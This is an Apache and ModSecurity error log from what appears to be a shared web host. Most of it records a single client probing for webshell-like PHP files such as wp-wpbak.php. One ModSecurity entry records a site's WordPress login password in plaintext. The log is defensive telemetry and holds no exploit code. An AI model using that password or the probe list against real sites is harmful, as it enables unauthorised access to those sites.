[Fri Jul 17 09:04:06.381308 2026] [proxy_fcgi:error] [pid 2029866:tid 2029866] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:06.546123 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:06.717610 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:06.881659 2026] [proxy_fcgi:error] [pid 1993668:tid 1993668] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:07.061508 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:07.250411 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:07.485785 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:07.647757 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:07.817811 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:07.993898 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:08.168776 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:08.330940 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:08.504711 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:08.669822 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:08.834322 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:08.996551 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:09.164454 2026] [proxy_fcgi:error] [pid 2029866:tid 2029866] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:09.326905 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:09.490751 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:09.497781 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.250:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.ceylondigest.com"] [uri "/image-2-12/"] [unique_id "almisQ7FYe46zHK_jL3RMwAAABk"]
[Fri Jul 17 09:04:09.498097 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.250:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.ceylondigest.com"] [uri "/image-2-12/"] [unique_id "almisQ7FYe46zHK_jL3RMwAAABk"]
[Fri Jul 17 09:04:09.652908 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:09.824145 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:09.989680 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:10.154410 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:10.324471 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:10.488462 2026] [proxy_fcgi:error] [pid 2029866:tid 2029866] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:10.651367 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:10.808162 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.250:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almisQ7FYe46zHK_jL3RMwAAABk"]
[Fri Jul 17 09:04:10.831268 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:10.996776 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:11.160789 2026] [proxy_fcgi:error] [pid 1993668:tid 1993668] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:11.323193 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:11.487164 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:11.818417 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:12.011877 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:12.176434 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:12.340464 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:12.502496 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:12.666062 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:12.831327 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:12.996454 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:13.162826 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:13.361725 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:13.530559 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:13.694705 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:13.695180 2026] [security2:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftlk1-global": Permission denied [hostname "ksoft.lk"] [uri "/wp-wpbak.php"] [unique_id "almitSRF0UOO1RzB5_8vSAAAAA4"]
[Fri Jul 17 09:04:13.695204 2026] [security2:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftlk1-ip": Permission denied [hostname "ksoft.lk"] [uri "/wp-wpbak.php"] [unique_id "almitSRF0UOO1RzB5_8vSAAAAA4"]
[Fri Jul 17 09:04:13.870024 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:14.036915 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:14.200739 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:14.367388 2026] [proxy_fcgi:error] [pid 2029866:tid 2029866] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:14.531918 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:14.865689 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:15.041947 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:15.212794 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:15.213379 2026] [security2:error] [pid 2030774:tid 2030774] [client 20.226.26.5:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftlk1-global": Permission denied [hostname "ksoft.lk"] [uri "/plugins.php"] [unique_id "almitxHlOGcokz2QIwTUhQAAAAM"]
[Fri Jul 17 09:04:15.213408 2026] [security2:error] [pid 2030774:tid 2030774] [client 20.226.26.5:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftlk1-ip": Permission denied [hostname "ksoft.lk"] [uri "/plugins.php"] [unique_id "almitxHlOGcokz2QIwTUhQAAAAM"]
[Fri Jul 17 09:04:15.378368 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:15.566462 2026] [proxy_fcgi:error] [pid 1993668:tid 1993668] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:15.739036 2026] [proxy_fcgi:error] [pid 2029866:tid 2029866] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:16.126972 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.244.66.250:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.ceylondigest.com"] [uri "/is/"] [unique_id "almiuPwooI4qY7Jg93pW3gAAABM"]
[Fri Jul 17 09:04:16.127347 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.244.66.250:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.ceylondigest.com"] [uri "/is/"] [unique_id "almiuPwooI4qY7Jg93pW3gAAABM"]
[Fri Jul 17 09:04:16.206777 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:16.368945 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:16.539857 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:16.701972 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:16.869051 2026] [proxy_fcgi:error] [pid 1993668:tid 1993668] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:17.038880 2026] [proxy_fcgi:error] [pid 2029866:tid 2029866] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:17.065358 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:54968] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:04:17.202517 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:17.367422 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:17.542633 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:17.713813 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:17.888736 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:18.061648 2026] [proxy_fcgi:error] [pid 1993668:tid 1993668] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:18.227480 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:18.284508 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.244.66.250:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almiuPwooI4qY7Jg93pW3gAAABM"]
[Fri Jul 17 09:04:18.392167 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:18.557518 2026] [proxy_fcgi:error] [pid 2029866:tid 2029866] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:18.736718 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:18.901683 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:18.972379 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:55014] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:04:19.072066 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:19.266157 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:19.362785 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:55042] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:04:19.428265 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:19.593802 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:19.755945 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:19.919930 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:20.264017 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:20.437294 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:20.600635 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:20.770075 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:20.932015 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:21.075293 2026] [security2:error] [pid 2030774:tid 2030774] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almivRHlOGcokz2QIwTUigAAAAM"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:04:21.075347 2026] [security2:error] [pid 2030774:tid 2030774] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almivRHlOGcokz2QIwTUigAAAAM"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:04:21.106580 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:21.269399 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:21.608461 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:21.663866 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:49152] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:04:21.775986 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:21.776322 2026] [security2:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftlk1-global": Permission denied [hostname "ksoft.lk"] [uri "/wp-blink.php"] [unique_id "almivVCBpfuYyhJ140vUEwAAAB4"]
[Fri Jul 17 09:04:21.776338 2026] [security2:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftlk1-ip": Permission denied [hostname "ksoft.lk"] [uri "/wp-blink.php"] [unique_id "almivVCBpfuYyhJ140vUEwAAAB4"]
[Fri Jul 17 09:04:21.953174 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:22.283354 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:22.443391 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:49220] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:04:22.461937 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:22.634183 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:22.824873 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:22.997036 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:23.174367 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:23.217056 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:49232] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:04:23.338950 2026] [proxy_fcgi:error] [pid 2029866:tid 2029866] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:23.510168 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:23.672421 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:23.846516 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:24.021821 2026] [proxy_fcgi:error] [pid 2029866:tid 2029866] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:24.196697 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:24.359465 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:24.380311 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 57.141.18.56:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory91/subsystem/devices/memory0/subsystem/devices/memory88/node0/compact
[Fri Jul 17 09:04:24.543797 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:24.720562 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:24.884129 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:25.055006 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:25.237095 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:25.400713 2026] [proxy_fcgi:error] [pid 2029866:tid 2029866] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:25.592789 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:25.755149 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:25.921886 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.226.26.5:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:04:26.059862 2026] [security2:error] [pid 2018757:tid 2018757] [client 75.119.135.239:0] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'novc' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "66"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: novc found within ARGS:pwd: Bostonlanka123!@#"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "bostonlanka.com"] [uri "/wp-login.php"] [unique_id "almiwkkXT4NBqALj2lZ-RwAAABA"], referer: https://bostonlanka.com/wp-login.php
[Fri Jul 17 09:04:26.060369 2026] [security2:error] [pid 2018757:tid 2018757] [client 75.119.135.239:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/wp-login.php"] [unique_id "almiwkkXT4NBqALj2lZ-RwAAABA"], referer: https://bostonlanka.com/wp-login.php
[Fri Jul 17 09:04:26.075086 2026] [security2:error] [pid 2018757:tid 2018757] [client 75.119.135.239:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/wp-login.php"] [unique_id "almiwkkXT4NBqALj2lZ-RwAAABA"], referer: https://bostonlanka.com/wp-login.php
